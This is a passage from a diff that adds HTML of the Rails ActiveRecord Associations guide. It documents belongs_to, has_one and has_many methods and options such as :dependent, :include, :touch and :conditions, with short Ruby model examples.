+  belongs_to :customer, :counter_cache =&gt; :count_of_orders
+end
+class Customer &lt; ActiveRecord::Base
+  has_many :orders
+end
+</pre>
+</div>
+</notextile>
+
+<p>Counter cache columns are added to the containing model&#8217;s list of read-only attributes through <tt>attr_readonly</tt>.</p>
+<h6 id="belongs_to-dependent">4.1.2.5 <tt>:dependent</tt></h6>
+<p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the <tt>destroy</tt> method on the associated object to delete that object. If you set the <tt>:dependent</tt> option to <tt>:delete</tt>, then deleting this object will delete the associated object <em>without</em> calling its <tt>destroy</tt> method.</p>
+<div class='warning'><p>You should not specify this option on a <tt>belongs_to</tt> association that is connected with a <tt>has_many</tt> association on the other class. Doing so can lead to orphaned records in your database.</p></div>
+<h6 id="belongs_to-foreign_key">4.1.2.6 <tt>:foreign_key</tt></h6>
+<p>By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Order &lt; ActiveRecord::Base
+  belongs_to :customer, :class_name =&gt; &quot;Patron&quot;,
+    :foreign_key =&gt; &quot;patron_id&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.</p></div>
+<h6 id="belongs_to-includes">4.1.2.7 <tt>:include</tt></h6>
+<p>You can use the <tt>:include</tt> option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class LineItem &lt; ActiveRecord::Base
+  belongs_to :order
+end
+
+class Order &lt; ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+
+class Customer &lt; ActiveRecord::Base
+  has_many :orders
+end
+</pre>
+</div>
+</notextile>
+
+<p>If you frequently retrieve customers directly from line items (<tt>@line_item.order.customer</tt>), then you can make your code somewhat more efficient by including customers in the association from line items to orders:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class LineItem &lt; ActiveRecord::Base
+  belongs_to :order, :include =&gt; :customer
+end
+
+class Order &lt; ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+
+class Customer &lt; ActiveRecord::Base
+  has_many :orders
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>There&#8217;s no need to use <tt>:include</tt> for immediate associations &#8211; that is, if you have <tt>Order belongs_to :customer</tt>, then the customer is eager-loaded automatically when it&#8217;s needed.</p></div>
+<h6 id="polymorphic">4.1.2.8 <tt>:polymorphic</tt></h6>
+<p>Passing <tt>true</tt> to the <tt>:polymorphic</tt> option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.</p>
+<h6 id="belongs_to-readonly">4.1.2.9 <tt>:readonly</tt></h6>
+<p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated object will be read-only when retrieved via the association.</p>
+<h6 id="belongs_to-select">4.1.2.10 <tt>:select</tt></h6>
+<p>The <tt>:select</tt> option lets you override the <span class="caps">SQL</span> <tt>SELECT</tt> clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.</p>
+<div class='info'><p>If you set the <tt>:select</tt> option on a <tt>belongs_to</tt> association, you should also set the <tt>foreign_key</tt> option to guarantee the correct results.</p></div>
+<h6 id="touch">4.1.2.11 <tt>:touch</tt></h6>
+<p>If you set the <tt>:touch</tt> option to <tt>:true</tt>, then the <tt>updated_at</tt> or <tt>updated_on</tt> timestamp on the associated object will be set to the current time whenever this object is saved or destroyed:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Order &lt; ActiveRecord::Base
+  belongs_to :customer, :touch =&gt; true
+end
+
+class Customer &lt; ActiveRecord::Base
+  has_many :orders
+end
+</pre>
+</div>
+</notextile>
+
+<p>In this case, saving or destroying an order will update the timestamp on the associated customer. You can also specify a particular timestamp attribute to update:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Order &lt; ActiveRecord::Base
+  belongs_to :customer, :touch =&gt; :orders_updated_at
+end
+</pre>
+</div>
+</notextile>
+
+<h6 id="belongs_to-validate">4.1.2.12 <tt>:validate</tt></h6>
+<p>If you set the <tt>:validate</tt> option to <tt>true</tt>, then associated objects will be validated whenever you save this object. By default, this is <tt>false</tt>: associated objects will not be validated when this object is saved.</p>
+<h5 id="belongs_to-how_to_know_whether_theres_an_associated_object">4.1.3 How To Know Whether There&#8217;s an Associated Object?</h5>
+<p>To know whether there&#8217;s and associated object just check <tt><em>association</em>.nil?</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+if @order.customer.nil?
+  @msg = &quot;No customer found for this order&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<h5 id="belongs_to-when_are_objects_saved">4.1.4 When are Objects Saved?</h5>
+<p>Assigning an object to a <tt>belongs_to</tt> association does <em>not</em> automatically save the object. It does not save the associated object either.</p>
+<h4 id="has_one-association-reference">4.2 <tt>has_one</tt> Association Reference</h4>
+<p>The <tt>has_one</tt> association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use <tt>belongs_to</tt> instead.</p>
+<h5 id="methods-added-by-has_one">4.2.1 Methods Added by <tt>has_one</tt></h5>
+<p>When you declare a <tt>has_one</tt> association, the declaring class automatically gains four methods related to the association:</p>
+<ul>
+	<li><tt><em>association</em>(force_reload = false)</tt></li>
+	<li><tt><em>association</em>=(associate)</tt></li>
+	<li><tt>build_<em>association</em>(attributes = {})</tt></li>
+	<li><tt>create_<em>association</em>(attributes = {})</tt></li>
+</ul>
+<p>In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to <tt>has_one</tt>. For example, given the declaration:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Supplier &lt; ActiveRecord::Base
+  has_one :account
+end
+</pre>
+</div>
+</notextile>
+
+<p>Each instance of the <tt>Supplier</tt> model will have these methods:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+account
+account=
+build_account
+create_account
+</pre>
+</div>
+</notextile>
+
+<h6 id="tt-em-association-em-force_reload-false-tt">4.2.1.1 <tt><em>association</em>(force_reload = false)</tt></h6>
+<p>The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns <tt>nil</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@account = @supplier.account
+</pre>
+</div>
+</notextile>
+
+<p>If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass <tt>true</tt> as the <tt>force_reload</tt> argument.</p>
+<h6 id="tt-em-association-em-associate-tt">4.2.1.2 <tt><em>association</em>=(associate)</tt></h6>
+<p>The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object&#8217;s foreign key to the same value.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@supplier.account = @account
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_one-build_association">4.2.1.3 <tt>build_<em>association</em>(attributes = {})</tt></h6>
+<p>The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will <em>not</em> yet be saved.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@account = @supplier.build_account(:terms =&gt; &quot;Net 30&quot;)
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_one-create_association">4.2.1.4 <tt>create_<em>association</em>(attributes = {})</tt></h6>
+<p>The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object <em>will</em> be saved (assuming that it passes any validations).</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@account = @supplier.create_account(:terms =&gt; &quot;Net 30&quot;)
+</pre>
+</div>
+</notextile>
+
+<h5 id="options-for-has_one">4.2.2 Options for <tt>has_one</tt></h5>
+<p>In many situations, you can use the default behavior of <tt>has_one</tt> without any customization. But despite Rails&#8217; emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>has_one</tt> association. For example, an association with several options might look like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Supplier &lt; ActiveRecord::Base
+  has_one :account, :class_name =&gt; &quot;Billing&quot;, :dependent =&gt; :nullify
+end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>has_one</tt> association supports these options:</p>
+<ul>
+	<li><tt>:as</tt></li>
+	<li><tt>:autosave</tt></li>
+	<li><tt>:class_name</tt></li>
+	<li><tt>:conditions</tt></li>
+	<li><tt>:dependent</tt></li>
+	<li><tt>:foreign_key</tt></li>
+	<li><tt>:include</tt></li>
+	<li><tt>:order</tt></li>
+	<li><tt>:primary_key</tt></li>
+	<li><tt>:readonly</tt></li>
+	<li><tt>:select</tt></li>
+	<li><tt>:source</tt></li>
+	<li><tt>:source_type</tt></li>
+	<li><tt>:through</tt></li>
+	<li><tt>:validate</tt></li>
+</ul>
+<h6 id="has_one-as">4.2.2.1 <tt>:as</tt></h6>
+<p>Setting the <tt>:as</tt> option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.</p>
+<h6 id="has_one-autosave">4.2.2.2 <tt>:autosave</tt></h6>
+<p>If you set the <tt>:autosave</tt> option to <tt>true</tt>, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.</p>
+<h6 id="has_one-class_name">4.2.2.3 <tt>:class_name</tt></h6>
+<p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is <tt>Billing</tt>, you&#8217;d set things up this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Supplier &lt; ActiveRecord::Base
+  has_one :account, :class_name =&gt; &quot;Billing&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_one-conditions">4.2.2.4 <tt>:conditions</tt></h6>
+<p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by an <span class="caps">SQL</span> <tt>WHERE</tt> clause).</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Supplier &lt; ActiveRecord::Base
+  has_one :account, :conditions =&gt; &quot;confirmed = 1&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_one-dependent">4.2.2.5 <tt>:dependent</tt></h6>
+<p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the <tt>destroy</tt> method on the associated object to delete that object. If you set the <tt>:dependent</tt> option to <tt>:delete</tt>, then deleting this object will delete the associated object <em>without</em> calling its <tt>destroy</tt> method. If you set the <tt>:dependent</tt> option to <tt>:nullify</tt>, then deleting this object will set the foreign key in the association object to <tt>NULL</tt>.</p>
+<h6 id="has_one-foreign_key">4.2.2.6 <tt>:foreign_key</tt></h6>
+<p>By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Supplier &lt; ActiveRecord::Base
+  has_one :account, :foreign_key =&gt; &quot;supp_id&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.</p></div>
+<h6 id="has_one-include">4.2.2.7 <tt>:include</tt></h6>
+<p>You can use the <tt>:include</tt> option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Supplier &lt; ActiveRecord::Base
+  has_one :account
+end
+
+class Account &lt; ActiveRecord::Base
+  belongs_to :supplier
+  belongs_to :representative
+end
+
+class Representative &lt; ActiveRecord::Base
+  has_many :accounts
+end
+</pre>
+</div>
+</notextile>
+
+<p>If you frequently retrieve representatives directly from suppliers (<tt>@supplier.account.representative</tt>), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Supplier &lt; ActiveRecord::Base
+  has_one :account, :include =&gt; :representative
+end
+
+class Account &lt; ActiveRecord::Base
+  belongs_to :supplier
+  belongs_to :representative
+end
+
+class Representative &lt; ActiveRecord::Base
+  has_many :accounts
+end
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_one-order">4.2.2.8 <tt>:order</tt></h6>
+<p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by an <span class="caps">SQL</span> <tt>ORDER BY</tt> clause). Because a <tt>has_one</tt> association will only retrieve a single associated object, this option should not be needed.</p>
+<h6 id="has_one-primary_key">4.2.2.9 <tt>:primary_key</tt></h6>
+<p>By convention, Rails guesses that the column used to hold the primary key of this model is <tt>id</tt>. You can override this and explicitly specify the primary key with the <tt>:primary_key</tt> option.</p>
+<h6 id="has_one-readonly">4.2.2.10 <tt>:readonly</tt></h6>
+<p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated object will be read-only when retrieved via the association.</p>
+<h6 id="has_one-select">4.2.2.11 <tt>:select</tt></h6>
+<p>The <tt>:select</tt> option lets you override the <span class="caps">SQL</span> <tt>SELECT</tt> clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.</p>
+<h6 id="has_one-source">4.2.2.12 <tt>:source</tt></h6>
+<p>The <tt>:source</tt> option specifies the source association name for a <tt>has_one :through</tt> association.</p>
+<h6 id="has_one-source_type">4.2.2.13 <tt>:source_type</tt></h6>
+<p>The <tt>:source_type</tt> option specifies the source association type for a <tt>has_one :through</tt> association that proceeds through a polymorphic association.</p>
+<h6 id="has_one-through">4.2.2.14 <tt>:through</tt></h6>
+<p>The <tt>:through</tt> option specifies a join model through which to perform the query. <tt>has_one :through</tt> associations were discussed in detail <a href="#the-has_one-through-association">earlier in this guide</a>.</p>
+<h6 id="has_one-validate">4.2.2.15 <tt>:validate</tt></h6>
+<p>If you set the <tt>:validate</tt> option to <tt>true</tt>, then associated objects will be validated whenever you save this object. By default, this is <tt>false</tt>: associated objects will not be validated when this object is saved.</p>
+<h5 id="has_one-how_to_know_whether_theres_an_associated_object">4.2.3 How To Know Whether There&#8217;s an Associated Object?</h5>
+<p>To know whether there&#8217;s and associated object just check <tt><em>association</em>.nil?</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+if @supplier.account.nil?
+  @msg = &quot;No account found for this supplier&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<h5 id="has_one-when_are_objects_saved">4.2.4 When are Objects Saved?</h5>
+<p>When you assign an object to a <tt>has_one</tt> association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.</p>
+<p>If either of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p>
+<p>If the parent object (the one declaring the <tt>has_one</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved. They will automatically when the parent object is saved.</p>
+<p>If you want to assign an object to a <tt>has_one</tt> association without saving the object, use the <tt><em>association</em>.build</tt> method.</p>
+<h4 id="has_many-association-reference">4.3 <tt>has_many</tt> Association Reference</h4>
+<p>The <tt>has_many</tt> association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.</p>
+<h5 id="methods-added-by-has_many">4.3.1 Methods Added by <tt>has_many</tt></h5>
+<p>When you declare a <tt>has_many</tt> association, the declaring class automatically gains 13 methods related to the association:</p>
+<ul>
+	<li><tt><em>collection</em>(force_reload = false)</tt></li>
+	<li><tt><em>collection</em>&lt;&lt;(object, &#8230;)</tt></li>
+	<li><tt><em>collection</em>.delete(object, &#8230;)</tt></li>
+	<li><tt><em>collection</em>=objects</tt></li>
+	<li><tt><em>collection_singular</em>_ids</tt></li>
+	<li><tt><em>collection_singular</em>_ids=ids</tt></li>
+	<li><tt><em>collection</em>.clear</tt></li>
+	<li><tt><em>collection</em>.empty?</tt></li>
+	<li><tt><em>collection</em>.size</tt></li>
+	<li><tt><em>collection</em>.find(&#8230;)</tt></li>
+	<li><tt><em>collection</em>.exists?(&#8230;)</tt></li>
+	<li><tt><em>collection</em>.build(attributes = {}, &#8230;)</tt></li>
+	<li><tt><em>collection</em>.create(attributes = {})</tt></li>
+</ul>
+<p>In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to <tt>has_many</tt>, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :orders
+end
+</pre>
+</div>
+</notextile>
+
+<p>Each instance of the customer model will have these methods:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+orders(force_reload = false)
+orders&lt;&lt;(object, ...)
+orders.delete(object, ...)
+orders=objects
+order_ids
+order_ids=ids
+orders.clear
+orders.empty?
+orders.size
+orders.find(...)
+orders.exists?(...)
+orders.build(attributes = {}, ...)
+orders.create(attributes = {})
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_many-collection">4.3.1.1 <tt><em>collection</em>(force_reload = false)</tt></h6>
+<p>The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@orders = @customer.orders
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_many-collection-lt_lt">4.3.1.2 <tt><em>collection</em>&lt;&lt;(object, &#8230;)</tt></h6>
+<p>The <tt><em>collection</em>&lt;&lt;</tt> method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@customer.orders &lt;&lt; @order1
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_many-collection-delete">4.3.1.3 <tt><em>collection</em>.delete(object, &#8230;)</tt></h6>
+<p>The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by setting their foreign keys to <tt>NULL</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@customer.orders.delete(@order1)
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>Objects will be in addition destroyed if they&#8217;re associated with <tt>:dependent => :destroy</tt>, and deleted if they&#8217;re associated with <tt>:dependent => :delete_all</tt>.</p></div>
+<h6 id="has_many-collection_equal">4.3.1.4 <tt><em>collection</em>=objects</tt></h6>
+<p>The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.</p>
+<h6 id="has_many-collection_singular">4.3.1.5 <tt><em>collection_singular</em>_ids</tt></h6>
+<p>The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@order_ids = @customer.order_ids
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_many-collection_singular_ids_ids">4.3.1.6 <tt><em>collection_singular</em>_ids=ids</tt></h6>
+<p>The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.</p>
+<h6 id="has_many-collection_clear">4.3.1.7 <tt><em>collection</em>.clear</tt></h6>
+<p>The <tt><em>collection</em>.clear</tt> method removes every object from the collection. This destroys the associated objects if they are associated with <tt>:dependent => :destroy</tt>, deletes them directly from the database if <tt>:dependent => :delete_all</tt>, and otherwise sets their foreign keys to <tt>NULL</tt>.</p>
+<h6 id="tt-em-collection-em-empty-tt">4.3.1.8 <tt><em>collection</em>.empty?</tt></h6>
+<p>The <tt><em>collection</em>.empty?</tt> method returns <tt>true</tt> if the collection does not contain any associated objects.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;% if @customer.orders.empty? %&gt;
+  No Orders Found
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<h6 id="tt-em-collection-em-size-tt">4.3.1.9 <tt><em>collection</em>.size</tt></h6>
+<p>The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@order_count = @customer.orders.size
+</pre>
+</div>
+</notextile>
+
+<h6 id="tt-em-collection-em-find-tt">4.3.1.10 <tt><em>collection</em>.find(&#8230;)</tt></h6>
+<p>The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.find</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@open_orders = @customer.orders.find(:all, :conditions =&gt; &quot;open = 1&quot;)
+</pre>
+</div>
+</notextile>
+
+<h6 id="tt-em-collection-em-exists-tt">4.3.1.11 <tt><em>collection</em>.exists?(&#8230;)</tt></h6>
+<p>The <tt><em>collection</em>.exists?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.exists?</tt>.</p>
+<h6 id="has_many_collection_build">4.3.1.12 <tt><em>collection</em>.build(attributes = {}, &#8230;)</tt></h6>
+<p>The <tt><em>collection</em>.build</tt> method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will <em>not</em> yet be saved.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@order = @customer.orders.build(:order_date =&gt; Time.now,
+  :order_number =&gt; &quot;A12345&quot;)
+</pre>
+</div>
+</notextile>
+
+<h6 id="tt-em-collection-em-create-attributes-tt">4.3.1.13 <tt><em>collection</em>.create(attributes = {})</tt></h6>
+<p>The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object <em>will</em> be saved (assuming that it passes any validations).</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@order = @customer.orders.create(:order_date =&gt; Time.now,
+  :order_number =&gt; &quot;A12345&quot;)
+</pre>
+</div>
+</notextile>
+
+<h5 id="options-for-has_many">4.3.2 Options for <tt>has_many</tt></h5>
+<p>In many situations, you can use the default behavior for <tt>has_many</tt> without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>has_many</tt> association. For example, an association with several options might look like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :orders, :dependent =&gt; :delete_all, :validate =&gt; :false
+end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>has_many</tt> association supports these options:</p>
+<ul>
+	<li><tt>:as</tt></li>
+	<li><tt>:autosave</tt></li>
+	<li><tt>:class_name</tt></li>
+	<li><tt>:conditions</tt></li>
+	<li><tt>:counter_sql</tt></li>
+	<li><tt>:dependent</tt></li>
+	<li><tt>:extend</tt></li>
+	<li><tt>:finder_sql</tt></li>
+	<li><tt>:foreign_key</tt></li>
+	<li><tt>:group</tt></li>
+	<li><tt>:include</tt></li>
+	<li><tt>:limit</tt></li>
+	<li><tt>:offset</tt></li>
+	<li><tt>:order</tt></li>
+	<li><tt>:primary_key</tt></li>
+	<li><tt>:readonly</tt></li>
+	<li><tt>:select</tt></li>
+	<li><tt>:source</tt></li>
+	<li><tt>:source_type</tt></li>
+	<li><tt>:through</tt></li>
+	<li><tt>:uniq</tt></li>
+	<li><tt>:validate</tt></li>
+</ul>
+<h6 id="has_many-as">4.3.2.1 <tt>:as</tt></h6>
+<p>Setting the <tt>:as</tt> option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>.</p>
+<h6 id="autosave">4.3.2.2 <tt>:autosave</tt></h6>
+<p>If you set the <tt>:autosave</tt> option to <tt>true</tt>, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.</p>
+<h6 id="has_many-class_name">4.3.2.3 <tt>:class_name</tt></h6>
+<p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is <tt>Transaction</tt>, you&#8217;d set things up this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :orders, :class_name =&gt; &quot;Transaction&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_many-conditions">4.3.2.4 <tt>:conditions</tt></h6>
+<p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by an <span class="caps">SQL</span> <tt>WHERE</tt> clause).</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :confirmed_orders, :class_name =&gt; &quot;Order&quot;,
+    :conditions =&gt; &quot;confirmed = 1&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>You can also set conditions via a hash:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :confirmed_orders, :class_name =&gt; &quot;Order&quot;,
+    :conditions =&gt; { :confirmed =&gt; true }
+end
+</pre>
+</div>
+</notextile>
+
+<p>If you use a hash-style <tt>:conditions</tt> option, then record creation via this association will be automatically scoped using the hash. In this case, using <tt>@customer.confirmed_orders.create</tt> or <tt>@customer.confirmed_orders.build</tt> will create orders where the confirmed column has the value <tt>true</tt>.</p>
+<p>If you need to evaluate conditions dynamically at runtime, you could use string interpolation in single quotes:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :latest_orders, :class_name =&gt; &quot;Order&quot;,
+    :conditions =&gt; 'orders.created_at &gt; #{10.hours.ago.to_s(:db).inspect}'
+end
+</pre>
+</div>
+</notextile>
+
+<p>Be sure to use single quotes.</p>
+<h6 id="has_many-counter_sql">4.3.2.5 <tt>:counter_sql</tt></h6>
+<p>Normally Rails automatically generates the proper <span class="caps">SQL</span> to count the association members. With the <tt>:counter_sql</tt> option, you can specify a complete <span class="caps">SQL</span> statement to count them yourself.</p>
+<div class='note'><p>If you specify <tt>:finder_sql</tt> but not <tt>:counter_sql</tt>, then the counter <span class="caps">SQL</span> will be generated by substituting <tt>SELECT COUNT(*) FROM</tt> for the <tt>SELECT ... FROM</tt> clause of your <tt>:finder_sql</tt> statement.</p></div>
+<h6 id="has_many-dependent">4.3.2.6 <tt>:dependent</tt></h6>
+<p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the <tt>destroy</tt> method on the associated objects to delete those objects. If you set the <tt>:dependent</tt> option to <tt>:delete_all</tt>, then deleting this object will delete the associated objects <em>without</em> calling their <tt>destroy</tt> method. If you set the <tt>:dependent</tt> option to <tt>:nullify</tt>, then deleting this object will set the foreign key in the associated objects to <tt>NULL</tt>.</p>
+<div class='note'><p>This option is ignored when you use the <tt>:through</tt> option on the association.</p></div>
+<h6 id="has_many-extend">4.3.2.7 <tt>:extend</tt></h6>
+<p>The <tt>:extend</tt> option specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.</p>
+<h6 id="has_many-finder_sql">4.3.2.8 <tt>:finder_sql</tt></h6>
+<p>Normally Rails automatically generates the proper <span class="caps">SQL</span> to fetch the association members. With the <tt>:finder_sql</tt> option, you can specify a complete <span class="caps">SQL</span> statement to fetch them yourself. If fetching objects requires complex multi-table <span class="caps">SQL</span>, this may be necessary.</p>
+<h6 id="has_many-foreign_key">4.3.2.9 <tt>:foreign_key</tt></h6>
+<p>By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :orders, :foreign_key =&gt; &quot;cust_id&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.</p></div>
+<h6 id="has_many-group">4.3.2.10 <tt>:group</tt></h6>
+<p>The <tt>:group</tt> option supplies an attribute name to group the result set by, using a <tt>GROUP BY</tt> clause in the finder <span class="caps">SQL</span>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :line_items, :through =&gt; :orders, :group =&gt; &quot;orders.id&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<h6 id="has_many-include">4.3.2.11 <tt>:include</tt></h6>
+<p>You can use the <tt>:include</tt> option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p>
+<notextile>
